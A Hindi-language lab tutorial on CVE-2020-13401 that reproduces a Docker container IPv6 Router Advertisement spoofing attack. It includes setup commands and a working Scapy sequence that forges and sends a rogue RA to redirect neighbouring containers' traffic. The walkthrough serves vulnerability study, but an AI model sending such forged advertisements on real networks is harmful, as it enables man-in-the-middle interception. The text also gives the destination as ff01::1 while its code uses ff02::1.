
19.03.11 से पुराने Dockers में कंटेनरों की CVE-2020-13401 भेद्यता पर अध्ययन
19.03.11 से पुराने डॉकर में कंटेनरों की CVE-2020-13401 भेद्यता पर अध्ययन
19.03.11 से पहले के Docker Engine संस्करणों के साथ बनाए गए कंटेनर नेटवर्क में अन्य कंटेनरों से नकली RA (Router Advertisement) संदेश प्राप्त करने और लागू करने के प्रति संवेदनशील होते हैं। RA प्राप्त करना ऑपरेटिंग सिस्टम का एक सामान्य व्यवहार है, लेकिन यदि RA भेजने वाला नेटवर्क में विश्वसनीय नहीं है, तो पीड़ित कंटेनर संदेश प्राप्त कर सकता है और नेटवर्क में शामिल हो सकता है और फिर सभी नेटवर्क पैकेटों को नए नकली राउटर (man-in-the-middle attack) को भेज सकता है। यह समस्या IPv4 से संबंधित नहीं है और यह IPv6 पर आधारित है।
मूल CVE आइटम स्रोत: CVE-2020-13401
19.03.11 से पुराने Docker Engines में कंटेनर डिफ़ॉल्ट रूप से RA संदेश स्वीकार करते हैं। मान लीजिए कि नेटवर्क में CAP_NET_RAW क्षमता वाला एक और कंटेनर मौजूद है। इसका मतलब है कि यह कंटेनर कोई भी नेटवर्क पैकेट बना सकता है और नेटवर्क में भेज सकता है। इसलिए, इस कंटेनर का उपयोग पैकेट क्राफ्टिंग स्रोत के रूप में किया जा सकता है। नए संस्करणों में, कंटेनर RA संदेशों को तब तक स्वीकार नहीं करते जब तक कि डॉकर इंजन पर यह सुविधा सक्षम न की गई हो। इसलिए, यदि कोई व्यवस्थापक इस सुविधा को सक्षम करने का निर्णय लेता है तो सिस्टम अभी भी संवेदनशील हो सकता है।
इस भेद्यता से अपने कंटेनर वातावरण को सुरक्षित रखने के लिए Docker Engine को अपडेट करने की अत्यधिक अनुशंसा की जाती है।
इस अध्ययन में मैं यह प्रदर्शित करना चाहता हूँ कि यह भेद्यता कैसे होती है और देखना चाहता हूँ कि हमारा कंटेनर RA संदेश से कैसे प्रभावित होता है।
चल रहे कंटेनरों में, मैंने यह सत्यापित करने के लिए परीक्षण किया कि IPv6 काम कर रहा है या नहीं। लेकिन मैंने पाया कि मेरे कंटेनर में डिफ़ॉल्ट रूप से IPv6 समर्थित नहीं है। डिफ़ॉल्ट रूप से, सभी डॉकर कंटेनर एक bridge नेटवर्क से जुड़े होते हैं और यह नेटवर्क IPv6 का समर्थन नहीं करता है। डॉकर के लिए IPv6 सक्षम करने के लिए /etc/docker/ पथ पर एक daemon.json फ़ाइल जोड़ना आवश्यक है। इस फ़ाइल की सामग्री इस प्रकार होनी चाहिए:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
कोई भी मान्य IPv6 सबनेट पता निर्दिष्ट करना संभव है। फिर डॉकर को पुनः आरंभ किया जाना चाहिए और अपने डिफ़ॉल्ट ब्रिज नेटवर्क को कॉन्फ़िगर करने के लिए डेमन फ़ाइल को शुरू से फिर से पढ़ना चाहिए। साथ ही, IPv6 का समर्थन करने के लिए एक नया नेटवर्क परिभाषित करना भी संभव है।
कॉन्फ़िगरेशन को पुनः लोड करने और डॉकर को पुनः आरंभ करने के लिए कमांड:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerअब तक हमारे पास एक Docker है जो IPv6 का समर्थन करता है और अनुकरण शुरू करने के लिए कंटेनर बनाने का समय आ गया है। हमें कम से कम 2 कंटेनर चाहिए। मैं उन्हें Ubuntu_1 और Ubuntu_2 कहता हूँ। अपनी होस्ट मशीन पर अपने कंटेनर बनाने के लिए निम्नलिखित कमांड का उपयोग करें:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
अपने कंटेनरों को इस कमांड से सूचीबद्ध करें:
$ docker container ls -a
उन्हें चलाने के लिए अपने कंटेनर नामों का उपयोग करें:
$ docker container start -ai [CONTAINER NAME]
दोनों कंटेनरों पर आपको कुछ बुनियादी उपकरणों की आवश्यकता होती है जैसे:
| उपकरण | स्थापना कमांड |
|---|---|
| nano (या कोई अन्य संपादक) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (केवल 1 कंटेनर पर स्थापित करें) |
आवश्यक उपकरण स्थापित करें और सत्यापित करें कि आपके कंटेनर जुड़े हुए हैं या नहीं। ऐसा करने के लिए, ifconfig कमांड का उपयोग करके अपने कंटेनर का IP और इंटरफ़ेस की जानकारी प्राप्त करें। फिर यह सुनिश्चित करने के लिए दूसरे कंटेनर को ping -6 [destination IPv6] करें कि वे जुड़े हुए हैं। साथ ही, प्राप्त होने वाले ping पैकेटों को देखने के लिए आप अपने गंतव्य कंटेनर पर tcpdump का उपयोग कर सकते हैं।
(सुनिश्चित करें कि आप कंटेनरों को ping करने के लिए IPv6 का उपयोग कर रहे हैं)
हम नेटवर्क में किसी एक कंटेनर से एक क्राफ्टेड RA संदेश भेजना चाहते हैं और पीड़ितों की IpTable को अपडेट करना चाहते हैं।
मैं IPv6 राउटर विज्ञापन संदेश बनाने के लिए SCAPY का उपयोग कर रहा हूँ। Scapy Python पर आधारित है। स्थापना चरण इस प्रकार हैं:
$ sudo apt install python3-scapyRA पैकेट एक ब्रॉडकास्ट पैकेट है, और इसका मतलब है कि इसे सभी नेटवर्क नोड्स तक पहुँचाया जाना चाहिए। साथ ही, यह IPv6 नियमों पर आधारित है। इसलिए, गंतव्य पता ff01::1 है और प्रोटोकॉल ICMPv6 पर आधारित है।
Scapy चलाएँ:
$ scapy
मैं पैकेट को क्राफ्ट करने और नेटवर्क में भेजने के लिए इन कमांडों का उपयोग करता हूँ:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
पैकेट भेजने के बाद, अन्य कंटेनरों पर जाएँ और फिर से ifconfig का उपयोग करें। आप देखेंगे कि RA संदेश प्राप्त करने के बाद आपकी IPTable अपडेट हो गई है।
आप इस समस्या का परीक्षण और अध्ययन करने के लिए मेरी अनुकूलित docker images खींच सकते हैं: My Customized Docker Images